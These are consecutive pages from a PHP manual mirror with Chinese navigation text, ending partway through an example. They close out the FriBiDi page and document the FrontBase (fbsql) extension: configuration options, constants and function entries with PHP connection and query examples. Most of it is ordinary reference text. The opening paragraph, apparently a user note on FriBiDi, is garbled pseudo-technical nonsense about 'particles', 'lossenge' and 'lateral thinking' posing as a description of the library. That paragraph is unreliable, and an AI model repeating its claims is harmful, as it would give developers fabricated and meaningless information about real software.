FriBiDi is the example of the pollutions convoluted by the distraction found in the loss of example inutero of the interest confounded by the dissentary lossenge in each of the loud particles.  The particles can be dissolved using special methods used in the chemical process of diversion techniques enrolling simple methods such as lateral thinking, base-falling, and perticle-jumping.  Further-more there is a floor function in the obtuse linguistics that allow personable attitude percussions including the divergence theory that this library is established on.  The conclude the assertation found in the lossenge provided by the fribidi linguistic library, there is a sanscript convertor including the quieting of quiet conceptual additions.  Pleasing affects can be accomplished with the sanding of the screen with button movements and allowing personalities.  The personality types have been allowed to be on their own level, and the destruction of communistic linguistics is allowed by the invention of lateral thinking on those one-plane ideas.  The rest of the time spent on the upgrades can be sounded by the sublimation of particle movements to the ultimate conceptual ending.
mario at coma2 dot com
24-Jul-2002 09:21
As long this is not yet documented, at least I found out the possible values for the direction argument:

"L" - base language is left to right
"R" - base language is right  to left
empty - base language is determined automatically by the FriBiDi algorithm
add a note add a note

后退 | 起点 | 前进
FriBiDi Functions | 上一级 | FrontBase Functions


FrontBase Functions

PHP 手册
后退 前进

XL. FrontBase Functions

简介

These functions allow you to access FrontBase database servers. More information about FrontBase can be found at http://www.frontbase.com/.

Documentation for FrontBase can be found at http://www.frontbase.com/cgi-bin/WebObjects/FrontBase.woa/wa/productsPage?currentPage=Documentation.

Frontbase support has been added to PHP 4.0.6.

需求

You must install the FrontBase database server or at least the fbsql client libraries to use this functions. You can get FrontBase from http://www.frontbase.com/.

安装

In order to have these functions available, you must compile PHP with fbsql support by using the --with-fbsql[=DIR] option. If you use this option without specifying the path to fbsql, PHP will search for the fbsql client libraries in the default installation location for the platform. Users who installed FrontBase in a non standard directory should always specify the path to fbsql: --with-fbsql=/path/to/fbsql. This will force PHP to use the client libraries installed by FrontBase, avoiding any conflicts.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. FrontBase configuration options

Name | Default | Changeable | Changelog
fbsql.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 4.2.0.
fbsql.generate_warnings | "0" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.autocommit | "1" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_links | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_connections | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_results | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.batchSize | "1000" | PHP_INI_SYSTEM |
fbsql.default_host | NULL | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_user | "_SYSTEM" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_password | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_database | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_database_password | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

FBSQL_ASSOC (integer)

FBSQL_NUM (integer)

FBSQL_BOTH (integer)

FBSQL_LOCK_DEFERRED (integer)

FBSQL_LOCK_OPTIMISTIC (integer)

FBSQL_LOCK_PESSIMISTIC (integer)

FBSQL_ISO_READ_UNCOMMITTED (integer)

FBSQL_ISO_READ_COMMITTED (integer)

FBSQL_ISO_REPEATABLE_READ (integer)

FBSQL_ISO_SERIALIZABLE (integer)

FBSQL_ISO_VERSIONED (integer)

FBSQL_UNKNOWN (integer)

FBSQL_STOPPED (integer)

FBSQL_STARTING (integer)

FBSQL_RUNNING (integer)

FBSQL_STOPPING (integer)

FBSQL_NOEXEC (integer)

FBSQL_LOB_DIRECT (integer)

FBSQL_LOB_HANDLE (integer)

目录
fbsql_affected_rows -- Get number of affected rows in previous FrontBase operation
fbsql_autocommit -- Enable or disable autocommit
fbsql_blob_size -- Get the size of a BLOB
fbsql_change_user -- Change logged in user of the active connection
fbsql_clob_size -- Get the size of a CLOB
fbsql_close -- Close FrontBase connection
fbsql_commit -- Commits a transaction to the database
fbsql_connect -- Open a connection to a FrontBase Server
fbsql_create_blob -- Create a BLOB
fbsql_create_clob -- Create a CLOB
fbsql_create_db -- Create a FrontBase database
fbsql_data_seek -- Move internal result pointer
fbsql_database_password -- Sets or retrieves the password for a FrontBase database
fbsql_database -- Get or set the database name used with a connection
fbsql_db_query -- Send a FrontBase query
fbsql_db_status -- Get the status for a given database
fbsql_drop_db -- Drop (delete) a FrontBase database
fbsql_errno -- Returns the numerical value of the error message from previous FrontBase operation
fbsql_error -- Returns the text of the error message from previous FrontBase operation
fbsql_fetch_array -- Fetch a result row as an associative array, a numeric array, or both
fbsql_fetch_assoc -- Fetch a result row as an associative array
fbsql_fetch_field -- Get column information from a result and return as an object
fbsql_fetch_lengths -- Get the length of each output in a result
fbsql_fetch_object -- Fetch a result row as an object
fbsql_fetch_row -- Get a result row as an enumerated array
fbsql_field_flags -- Get the flags associated with the specified field in a result
fbsql_field_len -- Returns the length of the specified field
fbsql_field_name -- Get the name of the specified field in a result
fbsql_field_seek -- Set result pointer to a specified field offset
fbsql_field_table -- Get name of the table the specified field is in
fbsql_field_type -- Get the type of the specified field in a result
fbsql_free_result -- Free result memory
fbsql_get_autostart_info -- No description given yet
fbsql_hostname -- Get or set the host name used with a connection
fbsql_insert_id -- Get the id generated from the previous INSERT operation
fbsql_list_dbs -- List databases available on a FrontBase server
fbsql_list_fields -- List FrontBase result fields
fbsql_list_tables -- List tables in a FrontBase database
fbsql_next_result -- Move the internal result pointer to the next result
fbsql_num_fields -- Get number of fields in result
fbsql_num_rows -- Get number of rows in result
fbsql_password -- Get or set the user password used with a connection
fbsql_pconnect -- Open a persistent connection to a FrontBase Server
fbsql_query -- Send a FrontBase query
fbsql_read_blob -- Read a BLOB from the database
fbsql_read_clob -- Read a CLOB from the database
fbsql_result -- Get result data
fbsql_rollback -- Rollback a transaction to the database
fbsql_select_db -- Select a FrontBase database
fbsql_set_lob_mode -- Set the LOB retrieve mode for a FrontBase result set
fbsql_set_password -- Change the password for a given user
fbsql_set_transaction -- Set the transaction locking and isolation
fbsql_start_db -- Start a database on local or remote server
fbsql_stop_db -- Stop a database on local or remote server
fbsql_tablename -- Get table name of field
fbsql_username -- Get or set the host user used with a connection
fbsql_warnings -- Enable or disable FrontBase warnings

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fribidi_log2vis | 上一级 | fbsql_affected_rows


fbsql_affected_rows

(PHP 4 >= 4.0.6, PHP 5)

fbsql_affected_rows -- Get number of affected rows in previous FrontBase operation

说明

int fbsql_affected_rows ( [resource link_identifier] )

fbsql_affected_rows() returns the number of rows affected by the last INSERT, UPDATE or DELETE query associated with link_identifier. If the link identifier isn't specified, the last link opened by fbsql_connect() is assumed.

注: If you are using transactions, you need to call fbsql_affected_rows() after your INSERT, UPDATE, or DELETE query, not after the commit.

If the last query was a DELETE query with no WHERE clause, all of the records will have been deleted from the table but this function will return zero.

注: When using UPDATE, FrontBase will not update columns where the new value is the same as the old value. This creates the possibility that fbsql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query.

If the last query failed, this function will return -1.

See also: fbsql_num_rows().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FrontBase Functions | 上一级 | fbsql_autocommit


fbsql_autocommit

(PHP 4 >= 4.0.6, PHP 5)

fbsql_autocommit -- Enable or disable autocommit

说明

bool fbsql_autocommit ( resource link_identifier [, bool OnOff] )

fbsql_autocommit() returns the current autocommit status. If the optional OnOff parameter is given the auto commit status will be changed. With OnOff set to TRUE each statement will be committed automatically, if no errors was found. With OnOff set to FALSE the user must commit or rollback the transaction using either fbsql_commit() or fbsql_rollback().

See also: fbsql_commit() and fbsql_rollback()

add a note add a note User Contributed Notes
daggillies at yahoo dot com
19-Jun-2002 07:26
NOTE: you MUST call this immediately after connecting to the server and selecting a database i.e before issuing any queries. If you do not, it appears that for the duration of your script, auto-commit is set to its default, true value. You will be unable to rollback transactions.

David Gillies
San Jose
Costa Rica
add a note add a note

后退 | 起点 | 前进
fbsql_affected_rows | 上一级 | fbsql_blob_size


fbsql_blob_size

(PHP 4 >= 4.2.0, PHP 5)

fbsql_blob_size -- Get the size of a BLOB

说明

int fbsql_blob_size ( string blob_handle [, resource link_identifier] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_autocommit | 上一级 | fbsql_change_user


fbsql_change_user

(no version information, might be only in CVS)

fbsql_change_user -- Change logged in user of the active connection

说明

resource fbsql_change_user ( string user, string password [, string database [, resource link_identifier]] )

fbsql_change_user() changes the logged in user of the current active connection, or the connection given by the optional parameter link_identifier. If a database is specified, this will default or current database after the user has been changed. If the new user and password authorization fails, the current connected user stays active.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_blob_size | 上一级 | fbsql_clob_size


fbsql_clob_size

(PHP 4 >= 4.2.0, PHP 5)

fbsql_clob_size -- Get the size of a CLOB

说明

int fbsql_clob_size ( string clob_handle [, resource link_identifier] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_change_user | 上一级 | fbsql_close


fbsql_close

(PHP 4 >= 4.0.6, PHP 5)

fbsql_close -- Close FrontBase connection

说明

bool fbsql_close ( [resource link_identifier] )

Returns: TRUE on success, FALSE on error.

fbsql_close() closes the connection to the FrontBase server that's associated with the specified link identifier. If link_identifier isn't specified, the last opened link is used.

Using fbsql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

例子 1. fbsql_close() example

<?php
    $link = fbsql_connect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    echo "Connected successfully";
    fbsql_close($link);
?>

See also: fbsql_connect() and fbsql_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_clob_size | 上一级 | fbsql_commit


fbsql_commit

(PHP 4 >= 4.0.6, PHP 5)

fbsql_commit -- Commits a transaction to the database

说明

bool fbsql_commit ( [resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

fbsql_commit() ends the current transaction by writing all inserts, updates and deletes to the disk and unlocking all row and table locks held by the transaction. This command is only needed if autocommit is set to false.

See also: fbsql_autocommit() and fbsql_rollback()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_close | 上一级 | fbsql_connect


fbsql_connect

(PHP 4 >= 4.0.6, PHP 5)

fbsql_connect -- Open a connection to a FrontBase Server

说明

resource fbsql_connect ( [string hostname [, string username [, string password]]] )

Returns a positive FrontBase link identifier on success, or an error message on failure.

fbsql_connect() establishes a connection to a
FrontBase server.  The following defaults are assumed for missing
optional parameters: hostname = 'NULL',
username = '_SYSTEM' and
password = empty password.

If a second call is made to fbsql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling fbsql_close().

例子 1. fbsql_connect() example

<?php

    $link = fbsql_connect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    echo "Connected successfully";
    fbsql_close($link);

?>

See also fbsql_pconnect() and fbsql_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_commit | 上一级 | fbsql_create_blob


fbsql_create_blob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_create_blob -- Create a BLOB

说明

string fbsql_create_blob ( string blob_data [, resource link_identifier] )

Returns: A resource handle to the newly created blob.

fbsql_create_blob() creates a blob from blob_data. The returned resource handle can be used with insert and update commands to store the blob in the database.

例子 1. fbsql_create_blob() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    $filename = "blobfile.bin";
    $fp = fopen($filename, "rb");
    $blobdata = fread($fp, filesize($filename));
    fclose($fp);

    $blobHandle = fbsql_create_blob($blobdata, $link);

    $sql = "INSERT INTO BLOB_TABLE (BLOB_COLUMN) VALUES ($blobHandle);";
    $rs = fbsql_query($sql, $link);
?>

See also: fbsql_create_clob(),
fbsql_read_blob(),
fbsql_read_clob(), and
fbsql_set_lob_mode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_connect | 上一级 | fbsql_create_clob


fbsql_create_clob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_create_clob -- Create a CLOB

说明

string fbsql_create_clob ( string clob_data [, resource link_identifier] )

Returns: A resource handle to the newly created CLOB.

fbsql_create_clob() creates a clob from clob_data. The returned resource handle can be used with insert and update commands to store the clob in the database.

例子 1. fbsql_create_clob() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    $filename = "clob_file.txt";
    $fp = fopen($filename, "rb");
    $clobdata = fread($fp, filesize($filename));
    fclose($fp);

    $clobHandle = fbsql_create_clob($clobdata, $link);

    $sql = "INSERT INTO CLOB_TABLE (CLOB_COLUMN) VALUES ($clobHandle);";
    $rs = fbsql_query($sql, $link);
?>

See also: fbsql_create_blob(),
fbsql_read_blob(),
fbsql_read_clob(), and
fbsql_set_lob_mode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_create_blob | 上一级 | fbsql_create_db


fbsql_create_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_create_db -- Create a FrontBase database

说明

bool fbsql_create_db ( string database_name [, resource link_identifier [, string database_options]] )

fbsql_create_db() attempts to create a new database named database_name on the server associated with the specified connection link_identifier.

例子 1. fbsql_create_db() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    if (fbsql_create_db("my_db")) {
        echo "Database created successfully\n";
    } else {
        printf("Error creating database: %s\n", fbsql_error());
    }
?>

See also: fbsql_drop_db().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_create_clob | 上一级 | fbsql_data_seek


fbsql_data_seek

(PHP 4 >= 4.0.6, PHP 5)

fbsql_data_seek -- Move internal result pointer

说明

bool fbsql_data_seek ( resource result_identifier, int row_number )

如果成功则返回 TRUE，失败则返回 FALSE。

fbsql_data_seek() moves the internal row pointer of the FrontBase result associated with the specified result identifier to point to the specified row number. The next call to fbsql_fetch_row() would return that row.

Row_number starts at 0.

例子 1. fbsql_data_seek() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");

    fbsql_select_db("samp_db")
        or die("Could not select database");

    $query = "SELECT last_name, first_name FROM friends;";
    $result = fbsql_query($query)
        or die("Query failed");

    // fetch rows in reverse order

    for ($i = fbsql_num_rows($result) - 1; $i >=0; $i--) {
        if (!fbsql_data_seek($result, $i)) {
            printf("Cannot seek to row %d\n", $i);
            continue;
        }

        if (!($row = fbsql_fetch_object($result)))
            continue;

        echo $row->last_name . $row->first_name . "<br />\n";
    }

    fbsql_free_result($result);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_create_db | 上一级 | fbsql_database_password


fbsql_database_password

(PHP 4 >= 4.0.6, PHP 5)

fbsql_database_password -- Sets or retrieves the password for a FrontBase database

说明

string fbsql_database_password ( resource link_identifier [, string database_password] )

Returns: The database password associated with the link identifier.

fbsql_database_password() sets and retrieves the database password used by the connection. if a database is protected by a database password, the user must call this function before calling fbsql_select_db(). if the second optional parameter is given the function sets the database password for the specified link identifier. If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if fbsql_connect() was called, and use it.

This function does not change the database password in the database nor can it be used to retrieve the database password for a database.

例子 1. fbsql_create_clob() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    fbsql_database_password($link, "secret db password");
    fbsql_select_db($database, $link);
?>

See also: fbsql_connect(),
fbsql_pconnect() and
fbsql_select_db().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_data_seek | 上一级 | fbsql_database


fbsql_database

(PHP 4 >= 4.0.6, PHP 5)

fbsql_database -- Get or set the database name used with a connection

说明

string fbsql_database ( resource link_identifier [, string database] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_database_password | 上一级 | fbsql_db_query


fbsql_db_query

(PHP 4 >= 4.0.6, PHP 5)

fbsql_db_query -- Send a FrontBase query

说明

resource fbsql_db_query ( string database, string query [, resource link_identifier] )

Returns: A positive FrontBase result identifier to the query result, or FALSE on error.

fbsql_db_query() selects a database and executes a query on it. If the optional link identifier isn't specified, the function will try to find an open link to the FrontBase server and if no such link is found it'll try to create one as if fbsql_connect() was called with no arguments

See also fbsql_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_database | 上一级 | fbsql_db_status


fbsql_db_status

(PHP 4 >= 4.1.0, PHP 5)

fbsql_db_status -- Get the status for a given database

说明

int fbsql_db_status ( string database_name [, resource link_identifier] )

Returns: An integer value with the current status.

fbsql_db_status() requests the current status of the database specified by database_name. If the link_identifier is omitted the default link_identifier will be used.

The return value can be one of the following constants:

  • FALSE - The exec handler for the host was invalid. This error will occur when the link_identifier connects directly to a database by using a port number. FBExec can be available on the server but no connection has been made for it.

  • FBSQL_UNKNOWN - The Status is unknown.

  • FBSQL_STOPPED - The database is not running. Use fbsql_start_db() to start the database.

  • FBSQL_STARTING - The database is starting.

  • FBSQL_RUNNING - The database is running and can be used to perform SQL operations.

  • FBSQL_STOPPING - The database is stopping.

  • FBSQL_NOEXEC - FBExec is not running on the server and it is not possible to get the status of the database.

See also: fbsql_start_db() and fbsql_stop_db().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_db_query | 上一级 | fbsql_drop_db


fbsql_drop_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_drop_db -- Drop (delete) a FrontBase database

说明

bool fbsql_drop_db ( string database_name [, resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

fbsql_drop_db() attempts to drop (remove) an entire database from the server associated with the specified link identifier.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_db_status | 上一级 | fbsql_errno


fbsql_errno

(PHP 4 >= 4.0.6, PHP 5)

fbsql_errno -- Returns the numerical value of the error message from previous FrontBase operation

说明

int fbsql_errno ( [resource link_identifier] )

Returns the error number from the last fbsql function, or 0 (zero) if no error occurred.

Errors coming back from the fbsql database backend don't issue warnings. Instead, use fbsql_errno() to retrieve the error code. Note that this function only returns the error code from the most recently executed fbsql function (not including fbsql_error() and fbsql_errno()), so if you want to use it, make sure you check the value before calling another fbsql function.

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

See also: fbsql_error() and fbsql_warnings().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_drop_db | 上一级 | fbsql_error


fbsql_error

(PHP 4 >= 4.0.6, PHP 5)

fbsql_error -- Returns the text of the error message from previous FrontBase operation

说明

string fbsql_error ( [resource link_identifier] )

Returns the error text from the last fbsql function, or '' (the empty string) if no error occurred.

Errors coming back from the fbsql database backend don't issue warnings. Instead, use fbsql_error() to retrieve the error text. Note that this function only returns the error text from the most recently executed fbsql function (not including fbsql_error() and fbsql_errno()), so if you want to use it, make sure you check the value before calling another fbsql function.

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

See also: fbsql_errno() and fbsql_warnings().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_errno | 上一级 | fbsql_fetch_array


fbsql_fetch_array

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_array -- Fetch a result row as an associative array, a numeric array, or both

说明

array fbsql_fetch_array ( resource result [, int result_type] )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

fbsql_fetch_array() is an extended version of fbsql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must the numeric index of the column or make an alias for the column.

select t1.f1 as foo t2.f1 as bar from t1, t2

An important thing to note is that using fbsql_fetch_array() is NOT significantly slower than using fbsql_fetch_row(), while it provides a significant added value.

The optional second argument result_type in fbsql_fetch_array() is a constant and can take the following values: FBSQL_ASSOC, FBSQL_NUM, and FBSQL_BOTH.

For further details, see also fbsql_fetch_row() and fbsql_fetch_assoc().

例子 1. fbsql_fetch_array() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select user_id, fullname from table");
while ($row = fbsql_fetch_array($result)) {
    echo "user_id: " . $row["user_id"] . "<br />\n";
    echo "user_id: " . $row[0] . "<br />\n";
    echo "fullname: " . $row["fullname"] . "<br />\n";
    echo "fullname: " . $row[1] . "<br />\n";
}
fbsql_free_result($result);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_error | 上一级 | fbsql_fetch_assoc


fbsql_fetch_assoc

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_assoc -- Fetch a result row as an associative array

说明

array fbsql_fetch_assoc ( resource result )

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

fbsql_fetch_assoc() is equivalent to calling fbsql_fetch_array() with FBSQL_ASSOC for the optional second parameter. It only returns an associative array. This is the way fbsql_fetch_array() originally worked. If you need the numeric indices as well as the associative, use fbsql_fetch_array().

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use fbsql_fetch_array() and have it return the numeric indices as well.

An important thing to note is that using fbsql_fetch_assoc() is NOT significantly slower than using fbsql_fetch_row(), while it provides a significant added value.

For further details, see also fbsql_fetch_row() and fbsql_fetch_array().

例子 1. fbsql_fetch_assoc() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_assoc($result)) {
    echo $row["user_id"];
    echo $row["fullname"];
}
fbsql_free_result($result);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_fetch_array | 上一级 | fbsql_fetch_field


fbsql_fetch_field

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_field -- Get column information from a result and return as an object

说明

object fbsql_fetch_field ( resource result [, int field_offset] )

Returns an object containing field information.

fbsql_fetch_field() can be used in order to obtain information about fields in a certain query result. If the field offset isn't specified, the next field that wasn't yet retrieved by fbsql_fetch_field() is retrieved.

The properties of the object are:

  • name - column name

  • table - name of the table the column belongs to

  • max_length - maximum length of the column

  • not_null - 1 if the column cannot be NULL

  • type - the type of the column

例子 1. fbsql_fetch_field() example

<?php
fbsql_connect($host, $user, $password)
    or die("Could not connect");
$result = fbsql_db_query("database", "select * from table")
    or die("Query failed");
# get column metadata
$i = 0;
while ($i < fbsql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = fbsql_fetch_field($result);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
max_length:   $meta->max_length
name:         $meta->name
not_null:     $meta->not_null
table:        $meta->table
type:         $meta->type
</pre>";
    $i++;
}
fbsql_free_result($result);
?>

See also fbsql_field_seek().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_fetch_assoc | 上一级 | fbsql_fetch_lengths


fbsql_fetch_lengths

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_lengths -- Get the length of each output in a result

说明

array fbsql_fetch_lengths ( resource result )

Returns: An array that corresponds to the lengths of each field in the last row fetched by fbsql_fetch_row(), or FALSE on error.

fbsql_fetch_lengths() stores the lengths of
each result column in the last row returned by
fbsql_fetch_row(),
fbsql_fetch_array() and
fbsql_fetch_object() in an array, starting at
offset 0.

See also: fbsql_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_fetch_field | 上一级 | fbsql_fetch_object


fbsql_fetch_object

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_object -- Fetch a result row as an object

说明

object fbsql_fetch_object ( resource result [, int result_type] )

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

fbsql_fetch_object() is similar to fbsql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

The optional argument result_type is a constant and can take the following values: FBSQL_ASSOC, FBSQL_NUM, and FBSQL_BOTH.

Speed-wise, the function is identical to fbsql_fetch_array(), and almost as quick as fbsql_fetch_row() (the difference is insignificant).

例子 1. fbsql_fetch_object() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
fbsql_free_result($result);
?>

See also: fbsql_fetch_array() and fbsql_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_fetch_lengths | 上一级 | fbsql_fetch_row


fbsql_fetch_row

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_row -- Get a result row as an enumerated array

说明

array fbsql_fetch_row ( resource result )

Returns: An array that corresponds to the fetched row, or FALSE if there are no more rows.

fbsql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to fbsql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

See also: fbsql_fetch_array(),
fbsql_fetch_object(),
fbsql_data_seek(),
fbsql_fetch_lengths(), and
fbsql_result().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_fetch_object | 上一级 | fbsql_field_flags


fbsql_field_flags

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_flags -- Get the flags associated with the specified field in a result

说明

string fbsql_field_flags ( resource result [, int field_offset] )

fbsql_field_flags() returns the field flags of the specified field. The flags are reported as a single word per flag separated by a single space, so that you can split the returned value using explode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_fetch_row | 上一级 | fbsql_field_len


fbsql_field_len

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_len -- Returns the length of the specified field

说明

int fbsql_field_len ( resource result [, int field_offset] )

fbsql_field_len() returns the length of the specified field.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_field_flags | 上一级 | fbsql_field_name


fbsql_field_name

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_name -- Get the name of the specified field in a result

说明

string fbsql_field_name ( resource result [, int field_index] )

fbsql_field_name() returns the name of the specified field index. result must be a valid result identifier and field_index is the numerical offset of the field.

注: field_index starts at 0.

e.g. The index of the third field would actually be 2, the index of the fourth field would be 3 and so on.

例子 1. fbsql_field_name() example

<?php
// The users table consists of three fields:
//   user_id
//   username
//   password.

$res = fbsql_db_query("users", "select * from users", $link);

echo fbsql_field_name($res, 0) . "\n";
echo fbsql_field_name($res, 2);
?>

上例将输出：

user_id
password

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_field_len | 上一级 | fbsql_field_seek


fbsql_field_seek

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_seek -- Set result pointer to a specified field offset

说明

bool fbsql_field_seek ( resource result [, int field_offset] )

Seeks to the specified field offset. If the next call to fbsql_fetch_field() doesn't include a field offset, the field offset specified in fbsql_field_seek() will be returned.

See also: fbsql_fetch_field().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_field_name | 上一级 | fbsql_field_table


fbsql_field_table

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_table -- Get name of the table the specified field is in

说明

string fbsql_field_table ( resource result [, int field_offset] )

Returns the name of the table that the specified field is in.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_field_seek | 上一级 | fbsql_field_type


fbsql_field_type

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_type -- Get the type of the specified field in a result

说明

string fbsql_field_type ( resource result [, int field_offset] )

fbsql_field_type() is similar to the fbsql_field_name() function. The arguments are identical, but the field type is returned instead. The field type will be one of "int", "real", "string", "blob", and others as detailed in the FrontBase documentation.

例子 1. fbsql_field_type() example

<?php

fbsql_connect("localhost", "_SYSTEM", "");
fbsql_select_db("wisconsin");
$result = fbsql_query("SELECT * FROM onek;");
$fields = fbsql_num_fields($result);
$rows   = fbsql_num_rows($result);
$i = 0;
$table = fbsql_field_table($result, $i);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " records <br />";
echo "The table has the following fields <br />";
while ($i < $fields) {
    $type  = fbsql_field_type($result, $i);
    $name  = fbsql_field_name($result, $i);
    $len   = fbsql_field_len($result, $i);
    $flags = fbsql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "<br />";
